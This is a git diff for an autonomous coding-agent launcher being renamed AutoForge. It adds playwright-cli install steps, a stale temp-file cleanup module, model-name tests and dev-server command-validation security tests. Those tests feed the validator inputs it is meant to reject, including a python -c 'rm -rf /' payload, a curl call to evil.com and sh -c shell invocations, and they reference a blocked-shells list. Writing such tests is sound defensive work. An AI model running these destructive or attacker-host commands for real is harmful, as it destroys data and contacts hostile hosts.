echo AutoForge - Autonomous Coding Agent
|
||||||
echo ========================================
|
echo ========================================
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
@@ -54,5 +54,15 @@ REM Install dependencies
|
|||||||
echo Installing dependencies...
|
echo Installing dependencies...
|
||||||
pip install -r requirements.txt --quiet
|
pip install -r requirements.txt --quiet
|
||||||
|
|
||||||
|
REM Ensure playwright-cli is available for browser automation
|
||||||
|
where playwright-cli >nul 2>&1
|
||||||
|
if %ERRORLEVEL% neq 0 (
|
||||||
|
echo Installing playwright-cli for browser automation...
|
||||||
|
call npm install -g @playwright/cli >nul 2>&1
|
||||||
|
if %ERRORLEVEL% neq 0 (
|
||||||
|
echo Note: Could not install playwright-cli. Install manually: npm install -g @playwright/cli
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
REM Run the app
|
REM Run the app
|
||||||
python start.py
|
python start.py
|
||||||
|
|||||||
9
start.py
9
start.py
@@ -82,7 +82,7 @@ def get_existing_projects() -> list[tuple[str, Path]]:
|
|||||||
def display_menu(projects: list[tuple[str, Path]]) -> None:
|
def display_menu(projects: list[tuple[str, Path]]) -> None:
|
||||||
"""Display the main menu."""
|
"""Display the main menu."""
|
||||||
print("\n" + "=" * 50)
|
print("\n" + "=" * 50)
|
||||||
print(" Autonomous Coding Agent Launcher")
|
print(" AutoForge - Autonomous Coding Agent")
|
||||||
print("=" * 50)
|
print("=" * 50)
|
||||||
print("\n[1] Create new project")
|
print("\n[1] Create new project")
|
||||||
|
|
||||||
@@ -390,8 +390,11 @@ def run_agent(project_name: str, project_dir: Path) -> None:
|
|||||||
print(f"Location: {project_dir}")
|
print(f"Location: {project_dir}")
|
||||||
print("-" * 50)
|
print("-" * 50)
|
||||||
|
|
||||||
# Build the command - pass absolute path
|
# Build the command - pass absolute path and model from settings
|
||||||
cmd = [sys.executable, "autonomous_agent_demo.py", "--project-dir", str(project_dir.resolve())]
|
from registry import DEFAULT_MODEL, get_all_settings
|
||||||
|
settings = get_all_settings()
|
||||||
|
model = settings.get("api_model") or settings.get("model", DEFAULT_MODEL)
|
||||||
|
cmd = [sys.executable, "autonomous_agent_demo.py", "--project-dir", str(project_dir.resolve()), "--model", model]
|
||||||
|
|
||||||
# Run the agent with stderr capture to detect auth errors
|
# Run the agent with stderr capture to detect auth errors
|
||||||
# stdout goes directly to terminal for real-time output
|
# stdout goes directly to terminal for real-time output
|
||||||
|
|||||||
11
start.sh
11
start.sh
@@ -3,7 +3,7 @@ cd "$(dirname "$0")"
|
|||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
echo "========================================"
|
echo "========================================"
|
||||||
echo " Autonomous Coding Agent"
|
echo " AutoForge - Autonomous Coding Agent"
|
||||||
echo "========================================"
|
echo "========================================"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
@@ -74,5 +74,14 @@ fi
|
|||||||
echo "Installing dependencies..."
|
echo "Installing dependencies..."
|
||||||
pip install -r requirements.txt --quiet
|
pip install -r requirements.txt --quiet
|
||||||
|
|
||||||
|
# Ensure playwright-cli is available for browser automation
|
||||||
|
if ! command -v playwright-cli &> /dev/null; then
|
||||||
|
echo "Installing playwright-cli for browser automation..."
|
||||||
|
npm install -g @playwright/cli --quiet 2>/dev/null
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
echo "Note: Could not install playwright-cli. Install manually: npm install -g @playwright/cli"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
# Run the app
|
# Run the app
|
||||||
python start.py
|
python start.py
|
||||||
|
|||||||
14
start_ui.bat
14
start_ui.bat
@@ -1,11 +1,11 @@
|
|||||||
@echo off
|
@echo off
|
||||||
cd /d "%~dp0"
|
cd /d "%~dp0"
|
||||||
REM AutoCoder UI Launcher for Windows
|
REM AutoForge UI Launcher for Windows
|
||||||
REM This script launches the web UI for the autonomous coding agent.
|
REM This script launches the web UI for the autonomous coding agent.
|
||||||
|
|
||||||
echo.
|
echo.
|
||||||
echo ====================================
|
echo ====================================
|
||||||
echo AutoCoder UI
|
echo AutoForge UI
|
||||||
echo ====================================
|
echo ====================================
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
@@ -37,5 +37,15 @@ REM Install dependencies
|
|||||||
echo Installing dependencies...
|
echo Installing dependencies...
|
||||||
pip install -r requirements.txt --quiet
|
pip install -r requirements.txt --quiet
|
||||||
|
|
||||||
|
REM Ensure playwright-cli is available for browser automation
|
||||||
|
where playwright-cli >nul 2>&1
|
||||||
|
if %ERRORLEVEL% neq 0 (
|
||||||
|
echo Installing playwright-cli for browser automation...
|
||||||
|
call npm install -g @playwright/cli >nul 2>&1
|
||||||
|
if %ERRORLEVEL% neq 0 (
|
||||||
|
echo Note: Could not install playwright-cli. Install manually: npm install -g @playwright/cli
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
REM Run the Python launcher
|
REM Run the Python launcher
|
||||||
python "%~dp0start_ui.py" %*
|
python "%~dp0start_ui.py" %*
|
||||||
|
|||||||
12
start_ui.py
12
start_ui.py
@@ -1,6 +1,6 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""
|
"""
|
||||||
AutoCoder UI Launcher
|
AutoForge UI Launcher
|
||||||
=====================
|
=====================
|
||||||
|
|
||||||
Automated launcher that handles all setup:
|
Automated launcher that handles all setup:
|
||||||
@@ -265,7 +265,7 @@ def start_dev_server(port: int, host: str = "127.0.0.1") -> tuple:
|
|||||||
# Set environment for remote access if needed
|
# Set environment for remote access if needed
|
||||||
env = os.environ.copy()
|
env = os.environ.copy()
|
||||||
if host != "127.0.0.1":
|
if host != "127.0.0.1":
|
||||||
env["AUTOCODER_ALLOW_REMOTE"] = "1"
|
env["AUTOFORGE_ALLOW_REMOTE"] = "1"
|
||||||
|
|
||||||
# Start FastAPI
|
# Start FastAPI
|
||||||
backend = subprocess.Popen([
|
backend = subprocess.Popen([
|
||||||
@@ -297,7 +297,7 @@ def start_production_server(port: int, host: str = "127.0.0.1"):
|
|||||||
|
|
||||||
# Enable remote access in server if not localhost
|
# Enable remote access in server if not localhost
|
||||||
if host != "127.0.0.1":
|
if host != "127.0.0.1":
|
||||||
env["AUTOCODER_ALLOW_REMOTE"] = "1"
|
env["AUTOFORGE_ALLOW_REMOTE"] = "1"
|
||||||
|
|
||||||
# NOTE: --reload is NOT used because on Windows it breaks asyncio subprocess
|
# NOTE: --reload is NOT used because on Windows it breaks asyncio subprocess
|
||||||
# support (uvicorn's reload worker doesn't inherit the ProactorEventLoop policy).
|
# support (uvicorn's reload worker doesn't inherit the ProactorEventLoop policy).
|
||||||
@@ -313,7 +313,7 @@ def start_production_server(port: int, host: str = "127.0.0.1"):
|
|||||||
|
|
||||||
def main() -> None:
|
def main() -> None:
|
||||||
"""Main entry point."""
|
"""Main entry point."""
|
||||||
parser = argparse.ArgumentParser(description="AutoCoder UI Launcher")
|
parser = argparse.ArgumentParser(description="AutoForge UI Launcher")
|
||||||
parser.add_argument("--dev", action="store_true", help="Run in development mode with Vite hot reload")
|
parser.add_argument("--dev", action="store_true", help="Run in development mode with Vite hot reload")
|
||||||
parser.add_argument("--host", default="127.0.0.1", help="Host to bind to (default: 127.0.0.1)")
|
parser.add_argument("--host", default="127.0.0.1", help="Host to bind to (default: 127.0.0.1)")
|
||||||
parser.add_argument("--port", type=int, default=None, help="Port to bind to (default: auto-detect from 8888)")
|
parser.add_argument("--port", type=int, default=None, help="Port to bind to (default: auto-detect from 8888)")
|
||||||
@@ -328,7 +328,7 @@ def main() -> None:
|
|||||||
print(" SECURITY WARNING")
|
print(" SECURITY WARNING")
|
||||||
print("!" * 50)
|
print("!" * 50)
|
||||||
print(f" Remote access enabled on host: {host}")
|
print(f" Remote access enabled on host: {host}")
|
||||||
print(" The AutoCoder UI will be accessible from other machines.")
|
print(" The AutoForge UI will be accessible from other machines.")
|
||||||
print(" Ensure you understand the security implications:")
|
print(" Ensure you understand the security implications:")
|
||||||
print(" - The agent has file system access to project directories")
|
print(" - The agent has file system access to project directories")
|
||||||
print(" - The API can start/stop agents and modify files")
|
print(" - The API can start/stop agents and modify files")
|
||||||
@@ -336,7 +336,7 @@ def main() -> None:
|
|||||||
print("!" * 50 + "\n")
|
print("!" * 50 + "\n")
|
||||||
|
|
||||||
print("=" * 50)
|
print("=" * 50)
|
||||||
print(" AutoCoder UI Setup")
|
print(" AutoForge UI Setup")
|
||||||
print("=" * 50)
|
print("=" * 50)
|
||||||
|
|
||||||
total_steps = 6 if not dev_mode else 5
|
total_steps = 6 if not dev_mode else 5
|
||||||
|
|||||||
13
start_ui.sh
13
start_ui.sh
@@ -1,11 +1,11 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
cd "$(dirname "$0")"
|
cd "$(dirname "$0")"
|
||||||
# AutoCoder UI Launcher for Unix/Linux/macOS
|
# AutoForge UI Launcher for Unix/Linux/macOS
|
||||||
# This script launches the web UI for the autonomous coding agent.
|
# This script launches the web UI for the autonomous coding agent.
|
||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
echo "===================================="
|
echo "===================================="
|
||||||
echo " AutoCoder UI"
|
echo " AutoForge UI"
|
||||||
echo "===================================="
|
echo "===================================="
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
@@ -80,5 +80,14 @@ fi
|
|||||||
echo "Installing dependencies..."
|
echo "Installing dependencies..."
|
||||||
pip install -r requirements.txt --quiet
|
pip install -r requirements.txt --quiet
|
||||||
|
|
||||||
|
# Ensure playwright-cli is available for browser automation
|
||||||
|
if ! command -v playwright-cli &> /dev/null; then
|
||||||
|
echo "Installing playwright-cli for browser automation..."
|
||||||
|
npm install -g @playwright/cli --quiet 2>/dev/null
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
echo "Note: Could not install playwright-cli. Install manually: npm install -g @playwright/cli"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
# Run the Python launcher
|
# Run the Python launcher
|
||||||
python start_ui.py "$@"
|
python start_ui.py "$@"
|
||||||
|
|||||||
221
temp_cleanup.py
Normal file
221
temp_cleanup.py
Normal file
@@ -0,0 +1,221 @@
|
|||||||
|
"""
|
||||||
|
Temp Cleanup Module
|
||||||
|
===================
|
||||||
|
|
||||||
|
Cleans up stale temporary files and directories created by AutoForge agents,
|
||||||
|
Playwright, Node.js, and other development tools.
|
||||||
|
|
||||||
|
Called at Maestro (orchestrator) startup to prevent temp folder bloat.
|
||||||
|
|
||||||
|
Why this exists:
|
||||||
|
- Playwright creates browser profiles and artifacts in %TEMP%
|
||||||
|
- Node.js creates .node cache files (~7MB each, can accumulate to GBs)
|
||||||
|
- MongoDB Memory Server downloads binaries to temp
|
||||||
|
- These are never cleaned up automatically
|
||||||
|
|
||||||
|
When cleanup runs:
|
||||||
|
- At Maestro startup (when you click Play or auto-restart after rate limits)
|
||||||
|
- Only files/folders older than 1 hour are deleted (safe for running processes)
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import shutil
|
||||||
|
import tempfile
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# Max age in seconds before a temp item is considered stale (1 hour)
|
||||||
|
MAX_AGE_SECONDS = 3600
|
||||||
|
|
||||||
|
# Directory patterns to clean up (glob patterns)
|
||||||
|
DIR_PATTERNS = [
|
||||||
|
"playwright_firefoxdev_profile-*", # Playwright Firefox profiles
|
||||||
|
"playwright-artifacts-*", # Playwright test artifacts
|
||||||
|
"playwright-transform-cache", # Playwright transform cache
|
||||||
|
"mongodb-memory-server*", # MongoDB Memory Server binaries
|
||||||
|
"ng-*", # Angular CLI temp directories
|
||||||
|
"scoped_dir*", # Chrome/Chromium temp directories
|
||||||
|
"node-compile-cache", # Node.js V8 compile cache directory
|
||||||
|
]
|
||||||
|
|
||||||
|
# File patterns to clean up (glob patterns)
|
||||||
|
FILE_PATTERNS = [
|
||||||
|
".[0-9a-f]*.node", # Node.js/V8 compile cache files (~7MB each, varying hex prefixes)
|
||||||
|
"claude-*-cwd", # Claude CLI working directory temp files
|
||||||
|
"mat-debug-*.log", # Material/Angular debug logs
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def cleanup_stale_temp(max_age_seconds: int = MAX_AGE_SECONDS) -> dict:
|
||||||
|
"""
|
||||||
|
Clean up stale temporary files and directories.
|
||||||
|
|
||||||
|
Only deletes items older than max_age_seconds to avoid
|
||||||
|
interfering with currently running processes.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
max_age_seconds: Maximum age in seconds before an item is deleted.
|
||||||
|
Defaults to 1 hour (3600 seconds).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary with cleanup statistics:
|
||||||
|
- dirs_deleted: Number of directories deleted
|
||||||
|
- files_deleted: Number of files deleted
|
||||||
|
- bytes_freed: Approximate bytes freed
|
||||||
|
- errors: List of error messages (for debugging, not fatal)
|
||||||
|
"""
|
||||||
|
temp_dir = Path(tempfile.gettempdir())
|
||||||
|
cutoff_time = time.time() - max_age_seconds
|
||||||
|
|
||||||
|
stats = {
|
||||||
|
"dirs_deleted": 0,
|
||||||
|
"files_deleted": 0,
|
||||||
|
"bytes_freed": 0,
|
||||||
|
"errors": [],
|
||||||
|
}
|
||||||
|
|
||||||
|
# Clean up directories
|
||||||
|
for pattern in DIR_PATTERNS:
|
||||||
|
for item in temp_dir.glob(pattern):
|
||||||
|
if not item.is_dir():
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
mtime = item.stat().st_mtime
|
||||||
|
if mtime < cutoff_time:
|
||||||
|
size = _get_dir_size(item)
|
||||||
|
shutil.rmtree(item, ignore_errors=True)
|
||||||
|
if not item.exists():
|
||||||
|
stats["dirs_deleted"] += 1
|
||||||
|
stats["bytes_freed"] += size
|
||||||
|
logger.debug(f"Deleted temp directory: {item}")
|
||||||
|
except Exception as e:
|
||||||
|
stats["errors"].append(f"Failed to delete {item}: {e}")
|
||||||
|
logger.debug(f"Failed to delete {item}: {e}")
|
||||||
|
|
||||||
|
# Clean up files
|
||||||
|
for pattern in FILE_PATTERNS:
|
||||||
|
for item in temp_dir.glob(pattern):
|
||||||
|
if not item.is_file():
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
mtime = item.stat().st_mtime
|
||||||
|
if mtime < cutoff_time:
|
||||||
|
size = item.stat().st_size
|
||||||
|
item.unlink(missing_ok=True)
|
||||||
|
if not item.exists():
|
||||||
|
stats["files_deleted"] += 1
|
||||||
|
stats["bytes_freed"] += size
|
||||||
|
logger.debug(f"Deleted temp file: {item}")
|
||||||
|
except Exception as e:
|
||||||
|
stats["errors"].append(f"Failed to delete {item}: {e}")
|
||||||
|
logger.debug(f"Failed to delete {item}: {e}")
|
||||||
|
|
||||||
|
# Log summary if anything was cleaned
|
||||||
|
if stats["dirs_deleted"] > 0 or stats["files_deleted"] > 0:
|
||||||
|
mb_freed = stats["bytes_freed"] / (1024 * 1024)
|
||||||
|
logger.info(
|
||||||
|
f"Temp cleanup: {stats['dirs_deleted']} dirs, "
|
||||||
|
f"{stats['files_deleted']} files, {mb_freed:.1f} MB freed"
|
||||||
|
)
|
||||||
|
|
||||||
|
return stats
|
||||||
|
|
||||||
|
|
||||||
|
def cleanup_project_screenshots(project_dir: Path, max_age_seconds: int = 300) -> dict:
|
||||||
|
"""
|
||||||
|
Clean up stale Playwright CLI artifacts from the project.
|
||||||
|
|
||||||
|
The Playwright CLI daemon saves screenshots, snapshots, and other artifacts
|
||||||
|
to `{project_dir}/.playwright-cli/`. This removes them after they've aged
|
||||||
|
out (default 5 minutes).
|
||||||
|
|
||||||
|
Also cleans up legacy screenshot patterns from the project root (from the
|
||||||
|
old Playwright MCP server approach).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
project_dir: Path to the project directory.
|
||||||
|
max_age_seconds: Maximum age in seconds before an artifact is deleted.
|
||||||
|
Defaults to 5 minutes (300 seconds).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dictionary with cleanup statistics (files_deleted, bytes_freed, errors).
|
||||||
|
"""
|
||||||
|
cutoff_time = time.time() - max_age_seconds
|
||||||
|
stats: dict = {"files_deleted": 0, "bytes_freed": 0, "errors": []}
|
||||||
|
|
||||||
|
# Clean up .playwright-cli/ directory (new CLI approach)
|
||||||
|
playwright_cli_dir = project_dir / ".playwright-cli"
|
||||||
|
if playwright_cli_dir.exists():
|
||||||
|
for item in playwright_cli_dir.iterdir():
|
||||||
|
if not item.is_file():
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
mtime = item.stat().st_mtime
|
||||||
|
if mtime < cutoff_time:
|
||||||
|
size = item.stat().st_size
|
||||||
|
item.unlink(missing_ok=True)
|
||||||
|
if not item.exists():
|
||||||
|
stats["files_deleted"] += 1
|
||||||
|
stats["bytes_freed"] += size
|
||||||
|
logger.debug(f"Deleted playwright-cli artifact: {item}")
|
||||||
|
except Exception as e:
|
||||||
|
stats["errors"].append(f"Failed to delete {item}: {e}")
|
||||||
|
logger.debug(f"Failed to delete artifact {item}: {e}")
|
||||||
|
|
||||||
|
# Legacy cleanup: root-level screenshot patterns (from old MCP server approach)
|
||||||
|
legacy_patterns = [
|
||||||
|
"feature*-*.png",
|
||||||
|
"screenshot-*.png",
|
||||||
|
"step-*.png",
|
||||||
|
]
|
||||||
|
|
||||||
|
for pattern in legacy_patterns:
|
||||||
|
for item in project_dir.glob(pattern):
|
||||||
|
if not item.is_file():
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
mtime = item.stat().st_mtime
|
||||||
|
if mtime < cutoff_time:
|
||||||
|
size = item.stat().st_size
|
||||||
|
item.unlink(missing_ok=True)
|
||||||
|
if not item.exists():
|
||||||
|
stats["files_deleted"] += 1
|
||||||
|
stats["bytes_freed"] += size
|
||||||
|
logger.debug(f"Deleted legacy screenshot: {item}")
|
||||||
|
except Exception as e:
|
||||||
|
stats["errors"].append(f"Failed to delete {item}: {e}")
|
||||||
|
logger.debug(f"Failed to delete screenshot {item}: {e}")
|
||||||
|
|
||||||
|
if stats["files_deleted"] > 0:
|
||||||
|
mb_freed = stats["bytes_freed"] / (1024 * 1024)
|
||||||
|
logger.info(f"Artifact cleanup: {stats['files_deleted']} files, {mb_freed:.1f} MB freed")
|
||||||
|
|
||||||
|
return stats
|
||||||
|
|
||||||
|
|
||||||
|
def _get_dir_size(path: Path) -> int:
|
||||||
|
"""Get total size of a directory in bytes."""
|
||||||
|
total = 0
|
||||||
|
try:
|
||||||
|
for item in path.rglob("*"):
|
||||||
|
if item.is_file():
|
||||||
|
try:
|
||||||
|
total += item.stat().st_size
|
||||||
|
except (OSError, PermissionError):
|
||||||
|
pass
|
||||||
|
except (OSError, PermissionError):
|
||||||
|
pass
|
||||||
|
return total
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
# Allow running directly for testing/manual cleanup
|
||||||
|
logging.basicConfig(level=logging.DEBUG)
|
||||||
|
print("Running temp cleanup...")
|
||||||
|
stats = cleanup_stale_temp()
|
||||||
|
mb_freed = stats["bytes_freed"] / (1024 * 1024)
|
||||||
|
print(f"Cleanup complete: {stats['dirs_deleted']} dirs, {stats['files_deleted']} files, {mb_freed:.1f} MB freed")
|
||||||
|
if stats["errors"]:
|
||||||
|
print(f"Errors (non-fatal): {len(stats['errors'])}")
|
||||||
@@ -40,15 +40,15 @@ class TestConvertModelForVertex(unittest.TestCase):
|
|||||||
def test_returns_model_unchanged_when_vertex_disabled(self):
|
def test_returns_model_unchanged_when_vertex_disabled(self):
|
||||||
os.environ.pop("CLAUDE_CODE_USE_VERTEX", None)
|
os.environ.pop("CLAUDE_CODE_USE_VERTEX", None)
|
||||||
self.assertEqual(
|
self.assertEqual(
|
||||||
convert_model_for_vertex("claude-opus-4-5-20251101"),
|
convert_model_for_vertex("claude-opus-4-6"),
|
||||||
"claude-opus-4-5-20251101",
|
"claude-opus-4-6",
|
||||||
)
|
)
|
||||||
|
|
||||||
def test_returns_model_unchanged_when_vertex_set_to_zero(self):
|
def test_returns_model_unchanged_when_vertex_set_to_zero(self):
|
||||||
os.environ["CLAUDE_CODE_USE_VERTEX"] = "0"
|
os.environ["CLAUDE_CODE_USE_VERTEX"] = "0"
|
||||||
self.assertEqual(
|
self.assertEqual(
|
||||||
convert_model_for_vertex("claude-opus-4-5-20251101"),
|
convert_model_for_vertex("claude-opus-4-6"),
|
||||||
"claude-opus-4-5-20251101",
|
"claude-opus-4-6",
|
||||||
)
|
)
|
||||||
|
|
||||||
def test_returns_model_unchanged_when_vertex_set_to_empty(self):
|
def test_returns_model_unchanged_when_vertex_set_to_empty(self):
|
||||||
@@ -60,13 +60,20 @@ class TestConvertModelForVertex(unittest.TestCase):
|
|||||||
|
|
||||||
# --- Vertex AI enabled: standard conversions ---
|
# --- Vertex AI enabled: standard conversions ---
|
||||||
|
|
||||||
def test_converts_opus_model(self):
|
def test_converts_legacy_opus_model(self):
|
||||||
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
||||||
self.assertEqual(
|
self.assertEqual(
|
||||||
convert_model_for_vertex("claude-opus-4-5-20251101"),
|
convert_model_for_vertex("claude-opus-4-5-20251101"),
|
||||||
"claude-opus-4-5@20251101",
|
"claude-opus-4-5@20251101",
|
||||||
)
|
)
|
||||||
|
|
||||||
|
def test_opus_4_6_passthrough_on_vertex(self):
|
||||||
|
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
||||||
|
self.assertEqual(
|
||||||
|
convert_model_for_vertex("claude-opus-4-6"),
|
||||||
|
"claude-opus-4-6",
|
||||||
|
)
|
||||||
|
|
||||||
def test_converts_sonnet_model(self):
|
def test_converts_sonnet_model(self):
|
||||||
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
||||||
self.assertEqual(
|
self.assertEqual(
|
||||||
@@ -86,8 +93,8 @@ class TestConvertModelForVertex(unittest.TestCase):
|
|||||||
def test_already_vertex_format_unchanged(self):
|
def test_already_vertex_format_unchanged(self):
|
||||||
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
||||||
self.assertEqual(
|
self.assertEqual(
|
||||||
convert_model_for_vertex("claude-opus-4-5@20251101"),
|
convert_model_for_vertex("claude-sonnet-4-5@20250929"),
|
||||||
"claude-opus-4-5@20251101",
|
"claude-sonnet-4-5@20250929",
|
||||||
)
|
)
|
||||||
|
|
||||||
def test_non_claude_model_unchanged(self):
|
def test_non_claude_model_unchanged(self):
|
||||||
@@ -100,8 +107,8 @@ class TestConvertModelForVertex(unittest.TestCase):
|
|||||||
def test_model_without_date_suffix_unchanged(self):
|
def test_model_without_date_suffix_unchanged(self):
|
||||||
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
os.environ["CLAUDE_CODE_USE_VERTEX"] = "1"
|
||||||
self.assertEqual(
|
self.assertEqual(
|
||||||
convert_model_for_vertex("claude-opus-4-5"),
|
convert_model_for_vertex("claude-opus-4-6"),
|
||||||
"claude-opus-4-5",
|
"claude-opus-4-6",
|
||||||
)
|
)
|
||||||
|
|
||||||
def test_empty_string_unchanged(self):
|
def test_empty_string_unchanged(self):
|
||||||
|
|||||||
319
test_devserver_security.py
Normal file
319
test_devserver_security.py
Normal file
@@ -0,0 +1,319 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Dev Server Security Tests
|
||||||
|
=========================
|
||||||
|
|
||||||
|
Tests for dev server command validation and security hardening.
|
||||||
|
Run with: python -m pytest test_devserver_security.py -v
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import pytest
|
||||||
|
|
||||||
|
# Add project root to path
|
||||||
|
sys.path.insert(0, str(Path(__file__).parent))
|
||||||
|
|
||||||
|
from server.routers.devserver import (
|
||||||
|
ALLOWED_NPM_SCRIPTS,
|
||||||
|
ALLOWED_PYTHON_MODULES,
|
||||||
|
ALLOWED_RUNNERS,
|
||||||
|
BLOCKED_SHELLS,
|
||||||
|
validate_custom_command_strict,
|
||||||
|
)
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# validate_custom_command_strict - Valid commands
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
class TestValidCommands:
|
||||||
|
"""Commands that should pass validation."""
|
||||||
|
|
||||||
|
def test_npm_run_dev(self):
|
||||||
|
validate_custom_command_strict("npm run dev")
|
||||||
|
|
||||||
|
def test_npm_run_start(self):
|
||||||
|
validate_custom_command_strict("npm run start")
|
||||||
|
|
||||||
|
def test_npm_run_serve(self):
|
||||||
|
validate_custom_command_strict("npm run serve")
|
||||||
|
|
||||||
|
def test_npm_run_preview(self):
|
||||||
|
validate_custom_command_strict("npm run preview")
|
||||||
|
|
||||||
|
def test_pnpm_dev(self):
|
||||||
|
validate_custom_command_strict("pnpm dev")
|
||||||
|
|
||||||
|
def test_pnpm_run_dev(self):
|
||||||
|
validate_custom_command_strict("pnpm run dev")
|
||||||
|
|
||||||
|
def test_yarn_start(self):
|
||||||
|
validate_custom_command_strict("yarn start")
|
||||||
|
|
||||||
|
def test_yarn_run_serve(self):
|
||||||
|
validate_custom_command_strict("yarn run serve")
|
||||||
|
|
||||||
|
def test_uvicorn_basic(self):
|
||||||
|
validate_custom_command_strict("uvicorn main:app")
|
||||||
|
|
||||||
|
def test_uvicorn_with_flags(self):
|
||||||
|
validate_custom_command_strict("uvicorn main:app --host 0.0.0.0 --port 8000 --reload")
|
||||||
|
|
||||||
|
def test_uvicorn_flag_equals_syntax(self):
|
||||||
|
validate_custom_command_strict("uvicorn main:app --port=8000 --host=0.0.0.0")
|
||||||
|
|
||||||
|
def test_python_m_uvicorn(self):
|
||||||
|
validate_custom_command_strict("python -m uvicorn main:app --reload")
|
||||||
|
|
||||||
|
def test_python3_m_uvicorn(self):
|
||||||
|
validate_custom_command_strict("python3 -m uvicorn main:app")
|
||||||
|
|
||||||
|
def test_python_m_flask(self):
|
||||||
|
validate_custom_command_strict("python -m flask run")
|
||||||
|
|
||||||
|
def test_python_m_gunicorn(self):
|
||||||
|
validate_custom_command_strict("python -m gunicorn main:app")
|
||||||
|
|
||||||
|
def test_python_m_http_server(self):
|
||||||
|
validate_custom_command_strict("python -m http.server 8000")
|
||||||
|
|
||||||
|
def test_python_script(self):
|
||||||
|
validate_custom_command_strict("python app.py")
|
||||||
|
|
||||||
|
def test_python_manage_py_runserver(self):
|
||||||
|
validate_custom_command_strict("python manage.py runserver")
|
||||||
|
|
||||||
|
def test_python_manage_py_runserver_with_port(self):
|
||||||
|
validate_custom_command_strict("python manage.py runserver 0.0.0.0:8000")
|
||||||
|
|
||||||
|
def test_flask_run(self):
|
||||||
|
validate_custom_command_strict("flask run")
|
||||||
|
|
||||||
|
def test_flask_run_with_options(self):
|
||||||
|
validate_custom_command_strict("flask run --host 0.0.0.0 --port 5000")
|
||||||
|
|
||||||
|
def test_poetry_run_command(self):
|
||||||
|
validate_custom_command_strict("poetry run python app.py")
|
||||||
|
|
||||||
|
def test_cargo_run(self):
|
||||||
|
# cargo is allowed but has no special sub-validation
|
||||||
|
validate_custom_command_strict("cargo run")
|
||||||
|
|
||||||
|
def test_go_run(self):
|
||||||
|
# go is allowed but has no special sub-validation
|
||||||
|
validate_custom_command_strict("go run .")
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# validate_custom_command_strict - Blocked shells
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
class TestBlockedShells:
|
||||||
|
"""Shell interpreters that must be rejected."""
|
||||||
|
|
||||||
|
@pytest.mark.parametrize("shell", ["sh", "bash", "zsh", "cmd", "powershell", "pwsh", "cmd.exe"])
|
||||||
|
def test_blocked_shell(self, shell):
|
||||||
|
with pytest.raises(ValueError, match="runner not allowed"):
|
||||||
|
validate_custom_command_strict(f"{shell} -c 'echo hacked'")
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# validate_custom_command_strict - Blocked commands
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
class TestBlockedCommands:
|
||||||
|
"""Commands that should be rejected."""
|
||||||
|
|
||||||
|
def test_empty_command(self):
|
||||||
|
with pytest.raises(ValueError, match="cannot be empty"):
|
||||||
|
validate_custom_command_strict("")
|
||||||
|
|
||||||
|
def test_whitespace_only(self):
|
||||||
|
with pytest.raises(ValueError, match="cannot be empty"):
|
||||||
|
validate_custom_command_strict(" ")
|
||||||
|
|
||||||
|
def test_python_dash_c(self):
|
||||||
|
with pytest.raises(ValueError, match="python -c is not allowed"):
|
||||||
|
validate_custom_command_strict("python -c 'import os; os.system(\"rm -rf /\")'")
|
||||||
|
|
||||||
|
def test_python3_dash_c(self):
|
||||||
|
with pytest.raises(ValueError, match="python -c is not allowed"):
|
||||||
|
validate_custom_command_strict("python3 -c 'print(1)'")
|
||||||
|
|
||||||
|
def test_python_no_script_or_module(self):
|
||||||
|
with pytest.raises(ValueError, match="must use"):
|
||||||
|
validate_custom_command_strict("python --version")
|
||||||
|
|
||||||
|
def test_python_m_disallowed_module(self):
|
||||||
|
with pytest.raises(ValueError, match="not allowed"):
|
||||||
|
validate_custom_command_strict("python -m pip install something")
|
||||||
|
|
||||||
|
def test_unknown_runner(self):
|
||||||
|
with pytest.raises(ValueError, match="runner not allowed"):
|
||||||
|
validate_custom_command_strict("curl http://evil.com")
|
||||||
|
